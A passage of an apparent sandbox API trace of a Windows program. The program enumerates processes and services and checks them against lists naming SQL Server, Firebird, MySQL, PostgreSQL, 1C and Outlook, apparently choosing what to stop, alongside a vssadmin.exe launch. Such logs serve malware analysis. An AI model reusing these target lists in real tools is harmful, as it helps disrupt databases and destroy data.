lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0127.295] lstrlenW (lpString="cmd.exe") returned 7 [0127.295] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0127.295] lstrlenW (lpString="dllhost.exe") returned 11 [0127.295] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0127.295] lstrlenW (lpString="conhost.exe") returned 11 [0127.295] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0127.296] lstrlenW (lpString="reader_sl.exe") returned 13 [0127.296] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0127.296] lstrlenW (lpString="svchost.exe") returned 11 [0127.296] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0127.296] lstrlenW (lpString="taskhost.exe") returned 12 [0127.296] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x538, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0127.297] lstrlenW (lpString="vssadmin.exe") returned 12 [0127.297] Process32NextW (in: hSnapshot=0x254, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x538, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0127.297] CloseHandle (hObject=0x254) returned 1 [0127.297] Sleep (dwMilliseconds=0x1f4) [0127.928] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4246618 [0128.001] EnumServicesStatusExW (in: hSCManager=0x4246618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0128.003] GetLastError () returned 0xea [0128.003] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x428d0b8 [0128.003] EnumServicesStatusExW (in: hSCManager=0x4246618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428d0b8, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428d0b8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0128.006] CloseServiceHandle (hSCObject=0x4246618) returned 1 [0128.007] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0128.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0128.007] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0128.007] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0128.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0128.008] lstrlenW (lpString="AudioSrv") returned 8 [0128.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0128.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0128.008] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0128.008] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0128.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0128.008] lstrlenW (lpString="BFE") returned 3 [0128.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0128.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0128.008] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0128.008] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0128.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0128.008] lstrlenW (lpString="CscService") returned 10 [0128.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0128.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0128.008] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0128.008] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0128.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0128.008] lstrlenW (lpString="DcomLaunch") returned 10 [0128.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0128.008] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0128.008] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0128.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0128.008] lstrlenW (lpString="Dhcp") returned 4 [0128.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0128.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0128.008] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0128.008] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0128.008] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0128.008] lstrlenW (lpString="Dnscache") returned 8 [0128.008] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0128.008] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0128.009] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0128.009] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0128.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0128.009] lstrlenW (lpString="eventlog") returned 8 [0128.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0128.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0128.009] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0128.009] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0128.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0128.009] lstrlenW (lpString="EventSystem") returned 11 [0128.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0128.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0128.009] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0128.009] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0128.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0128.009] lstrlenW (lpString="gpsvc") returned 5 [0128.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0128.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0128.009] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0128.009] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0128.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0128.009] lstrlenW (lpString="lmhosts") returned 7 [0128.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0128.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0128.009] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0128.009] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0128.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0128.009] lstrlenW (lpString="MMCSS") returned 5 [0128.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0128.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0128.009] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0128.009] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0128.009] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0128.009] lstrlenW (lpString="nsi") returned 3 [0128.009] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0128.009] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0128.010] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0128.010] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0128.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0128.010] lstrlenW (lpString="PlugPlay") returned 8 [0128.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0128.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0128.010] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0128.010] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0128.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0128.010] lstrlenW (lpString="Power") returned 5 [0128.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0128.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0128.010] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0128.010] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0128.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0128.010] lstrlenW (lpString="ProfSvc") returned 7 [0128.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0128.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0128.010] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0128.010] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0128.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0128.010] lstrlenW (lpString="RpcEptMapper") returned 12 [0128.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0128.010] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0128.010] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0128.010] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0128.010] lstrlenW (lpString="RpcSs") returned 5 [0128.010] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0128.010] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0128.010] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0128.010] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0128.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0128.011] lstrlenW (lpString="SamSs") returned 5 [0128.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0128.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0128.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0128.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0128.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0128.011] lstrlenW (lpString="Schedule") returned 8 [0128.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0128.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0128.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0128.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0128.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0128.011] lstrlenW (lpString="SENS") returned 4 [0128.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0128.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0128.011] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0128.011] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0128.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0128.011] lstrlenW (lpString="ShellHWDetection") returned 16 [0128.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0128.011] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0128.011] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0128.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0128.011] lstrlenW (lpString="Spooler") returned 7 [0128.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0128.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0128.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0128.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0128.011] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0128.011] lstrlenW (lpString="Themes") returned 6 [0128.011] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0128.011] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0128.011] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0128.011] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0128.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0128.012] lstrlenW (lpString="UxSms") returned 5 [0128.012] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0128.012] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0128.012] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0128.012] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0128.012] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0128.012] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428d0b8 | out: hHeap=0x880000) returned 1 [0128.012] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x308 [0128.014] Process32FirstW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0128.014] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0128.015] lstrlenW (lpString="System") returned 6 [0128.015] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0128.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0128.015] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0128.015] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0128.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0128.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0128.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0128.015] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0128.015] lstrlenW (lpString="smss.exe") returned 8 [0128.015] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0128.015] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0128.015] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0128.015] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0128.015] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0128.015] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0128.015] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0128.015] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.016] lstrlenW (lpString="csrss.exe") returned 9 [0128.016] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0128.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0128.016] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0128.016] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0128.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0128.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0128.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0128.016] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0128.016] lstrlenW (lpString="wininit.exe") returned 11 [0128.016] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0128.016] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0128.016] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0128.016] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0128.016] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0128.016] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0128.016] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0128.016] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0128.017] lstrlenW (lpString="csrss.exe") returned 9 [0128.017] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0128.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0128.017] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0128.017] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0128.017] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0128.017] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0128.017] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0128.017] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0128.017] lstrlenW (lpString="winlogon.exe") returned 12 [0128.017] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0128.017] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0128.017] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0128.018] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0128.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0128.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0128.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0128.018] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0128.018] lstrlenW (lpString="services.exe") returned 12 [0128.018] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0128.018] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0128.018] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0128.018] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0128.018] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0128.018] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0128.018] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0128.018] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0128.019] lstrlenW (lpString="lsass.exe") returned 9 [0128.019] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0128.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0128.019] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0128.019] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0128.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0128.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0128.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0128.019] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0128.019] lstrlenW (lpString="lsm.exe") returned 7 [0128.019] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0128.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0128.019] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0128.019] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0128.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0128.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0128.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0128.020] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.020] lstrlenW (lpString="svchost.exe") returned 11 [0128.020] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.020] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.020] lstrlenW (lpString="svchost.exe") returned 11 [0128.020] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0128.020] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0128.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0128.021] Process32NextW (in: hSnapshot=0x308, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0128.021] lstrlenW (lpString="svchost.exe") returned 11 